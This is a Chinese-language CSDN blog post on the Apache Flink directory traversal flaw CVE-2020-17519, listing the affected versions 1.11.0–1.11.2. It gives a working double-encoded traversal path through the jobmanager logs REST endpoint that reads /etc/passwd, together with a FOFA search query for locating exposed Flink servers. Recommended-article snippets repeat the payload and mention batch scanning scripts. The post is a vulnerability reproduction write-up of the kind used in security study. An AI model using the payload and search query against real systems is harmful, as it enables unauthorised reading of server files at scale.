flink 目录遍历（CVE-2020-17519）

最新推荐文章于 2024-08-18 22:16:18 发布
最新推荐文章于 2024-08-18 22:16:18 发布
阅读量100 收藏
点赞数 1
分类专栏： # 目录穿越/遍历 文章标签： flink 安全 大数据
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_23003811/article/details/140548487
版权

一、漏洞概述

Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

二、影响范围

Apache Flink 1.11.0
Apache Flink 1.11.1
Apache Flink 1.11.2

三、访问页面

四、漏洞复现

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

五、漏洞利用

1、fofa：app="Apache Flink"

2、POC批量验证

风中追风-fzzf
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Apache目录遍历漏洞
willow_liang的博客
10-21 2093
实验环境： win2003+phpstudy2014 1.目录遍历： 目录遍历(路径遍历)是由于web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一-种安全漏洞，使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制，访问任意的文件(可以使web根目录以外的文件)，甚至执行系统命令。程序在实现.上没有充分过滤用户输入的…/之类的目录跳转符，导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。 1 漏洞复现 漏洞原理： 2 漏洞修复： ` Options -Index
Apache Flink 目录遍历漏洞之脚本收集可访问服务端口
weixin_39664643的博客
01-06 235
CVE-2020-17518/17519：Apache Flink 目录遍历漏洞 实现收集存在flink框架的服务器，并判断是否可访问 # 脚本功能： # 从（主机资产）xxx.json中搜索使用Flink框架的服务器，提取并测试其8081端口是否开启可访问 # import json import requests # flink_list = [] # 存放具有flink的服务器 # valid_flink = [] # 存放可访问的flink # 搜索使用Flink框架的服务器 def s
Apache Flink目录遍历漏洞（REST API读/写远程文件）
crowsec
02-10 1432
CVE-2020-17518复现
Apache Flink jobmanager/logs 目录穿越漏洞 CVE-2020-17519 漏洞复现
Senimo
07-28 939
Apache Flink jobmanager/logs 目录穿越漏洞 CVE-2020-17519 漏洞复现一、漏洞描述二、漏洞影响三、漏洞复现1、环境搭建2、漏洞复现四、漏洞POC五、参考链接 一、漏洞描述 ApacheFlink是一个开源的流处理框架，具有强大的流处理和批处理功能。 Apache Flink 1.11.0 中引入的更改（以及在 1.11.1 和1.11.2 中发布）允许攻击者通过 JobManager 进程的 REST 接口读取JobManager本地文件系统上的任何文件。 访问仅限于
CVE-2020-17519 漏洞复现
weixin_43885355的博客
01-31 1326
CVE-2020-17519 0x00 简介 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务。 0x01 漏洞概述 CVE-2020-17519 任意文件读取漏洞 Apache Flink 1.11.0中引入了一项更新，该更新在1.11.1及更高的版本和1.11.2中发布。 该项更新允许攻击者通过JobManager进程的REST API读取JobManag
apache flink目录遍历漏洞（CVE-2020-17518复现）
ANYOUZHEN的博客
06-04 1311
漏洞描述：apache Flink目录遍历漏洞，可通过REST API读/写远程文件影响版本：Flink 1.5.1-1.11.2接下来开始复现：我们通过vulhub进行复现打开vulhub上的flink里的cve-2020-17518使用docker-compose配置相关环境:(在靶场cve-2020-17518使用下面的指令） 然后输入kali密码即可成功启动环境接下来我们查看当前环境：在靶场终端输入： 但是在我的kali2022上面出现了报错：8行，和上一篇文章出现了一样的问题，上网搜
CVE-2020-15012：Nexus Repository Manager 2 目录遍历漏洞通告
爱国小白帽
10-09 870
CVE-2020-15012：Nexus Repository Manager 2 目录遍历漏洞通告 原创 360CERT [三六零CERT](javascript:void(0)???? 今天 报告编号：B6-2020-100901 报告来源：360CERT 报告作者：360CERT 更新日期：2020-10-09 0x01 漏洞简述 2020年10月09日，360CERT监测发现 nexus repository manager 2 发布了 nexus repository manager 2 目录穿
Python 中文件的复制
weixin_41440707的博客
09-15 255
with open(r'D:\QQPCmgr\Desktop\ceshi.png','rb') as stream: conainer = stream.read() with open(r'D:\360\ceshi1.png', 'wb') as wstream: wstream.write(conainer) print('复制成功') Python中的文件复制有好几种形式，这里首先介绍的是通过读写方式复制文件，原理如下，先读一个文件，然后对文件进行操作，写这个文件。.
Apache Flink目录遍历漏洞
ITgougou_的博客
01-07 325
fofa语法搜索app="Apache-Flink" poc： http://IP:PORT/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd 读取成功
Linux本地内核提权漏洞复现(CVE-2019-13272)
m0_48520508的博客
01-19 781
0x00简介 在5.1.17之前的Linux内核中，kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录，这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系，父进程删除权限并调用execve可能允许攻击者控制。 0x01漏洞概述 Linux执行PTRACE_TRACEME函数时，ptrace_link函数将获得对父进程凭据的RCU引用，然后将该指针指向get_cred函数，但是，对象struct cred的生存周期规则不允许无条.
Apache Flink(CVE-2020-17519)路径遍历漏洞复现_附POC和批量检测脚本
szgyunyun的博客
01-06 887
声明 本文仅用于技术交流，请勿用于非法用途 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。 文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。 Apache Flink 是高效和分布式的通用数据处理平台。 Apache Flink 声明式的数据分析开源系统，结合了分布式 MapReduce 类平台的高效，灵活的
tomcat源码分析_CVE-2020-9484 tomcat session反序列化漏洞分析
weixin_39839162的博客
11-27 213
作者：N1gh5合天智汇title: CVE-2020-9484 tomcat session反序列化漏洞分析 tags: CVE,Tomcat,反序列化 grammar_cjkRuby: true本文借助CVE-2020-9484 Tomcat漏洞详细的介绍了本地和远程调试Tomcat 源码。分析漏洞成因以及补丁修补情况，以及分析ysoserial反序列化链。0x01 漏洞简介Apache To...
apache目录遍历漏洞利用_【漏洞通告】Apache Flink 目录遍历漏洞（CVE202017518/17519）...
weixin_34511754的博客
01-09 141
Apache Flink是由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎。 Flink以数据并行和流水线方式执行任意流数据程序，流水线运行时系统可以执行批处理和流处理程序。漏洞简述近日，监测发现Apache Flink发布了Apache Flink 目录穿越漏洞的风险通告，该漏洞编号为CVE-2020-17518...
Apache Flink漏洞（CVE-2020-17519）复现
玄道的网安博客
01-06 5869
简介 Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。 漏洞概述 Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。 影响版本 1.11.0、1.11.1、1.11.2 环境搭建 使用vulhub进行安装 Vulhub地址： https://github.com/vulhu...
flink环境搭建
qq_74922407的博客
08-14 1398
6. “taskmanagernumberOfTaskSlots: 对每个 TaskManager 能够分配的 Slot 数量进行配置默认为 1，可根据TaskManager 所在的机器能够提供给 Flink的CPU数量决定。4. “taskmanagernumberOfTaskSlots: 对每个 TaskManager 能够分配的 Slot 数量进行配置默认为1，可根据TaskManager 所在的机器能够提供给 Flink的CPU数量决定。
Flink入门(四) -- Flink中的窗口
zzy66666c的博客
08-13 1090
窗口通常指的是建筑物中用来采光和通风的构件，即窗户。这是“窗口”一词最直接和常见的含义。
Apache Flink细粒度资源管理原理
0102的博客
08-18 519
如上案例，Flink处理流转关系图中有两个128并发的Kafka Source和一个32并发的Redis ，上下两路数据处理路径，一条是两个Kafka Source经过Join以后在经过一些AGG聚合操作，最后将数据Sink到16并发的Kafka中；（主要是内存），比如，Redis需要将数据缓存到内存提高性能，聚合则需要大量的managed memory存储state，对于这两本了只要申请32 和16份资源，对其后需要128份，那么多余的slot中内存资源就浪费了。对于较重的资源消耗的算子，导致。
大数据——Flink原理
最新发布
庄小焱
08-18 753
Apache Flink 是一个强大的开源框架和分布式处理引擎，专门用于对无界和有界数据流进行有状态计算。Flink 支持高吞吐量、低延迟的实时数据流处理，同时也能够高效地处理批处理任务。其核心特点包括事件时间处理、有状态操作、容错机制，以及能够在各种常见的集群环境中运行，如 Hadoop、Kubernetes 和自定义集群。Flink 还具有高度可扩展性，能够处理从小规模到大规模的数据集，同时保持较低的内存占用和高效的计算速度。Flink 常用于实时分析、数据管道、流式 ETL、机器学习等场景，广泛应用于
Apache Flink CVE-2020-17518：远程文件写入漏洞分析
"Apache Flink的CVE-2020-17518是一个严重的安全漏洞，它允许远程攻击者通过REST API进行目录遍历，从而实现任意文件写入。此漏洞影响Apache Flink的1.5.1至1.11.2版本。攻击者可以通过构造特殊的HTTP请求头来将文件...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值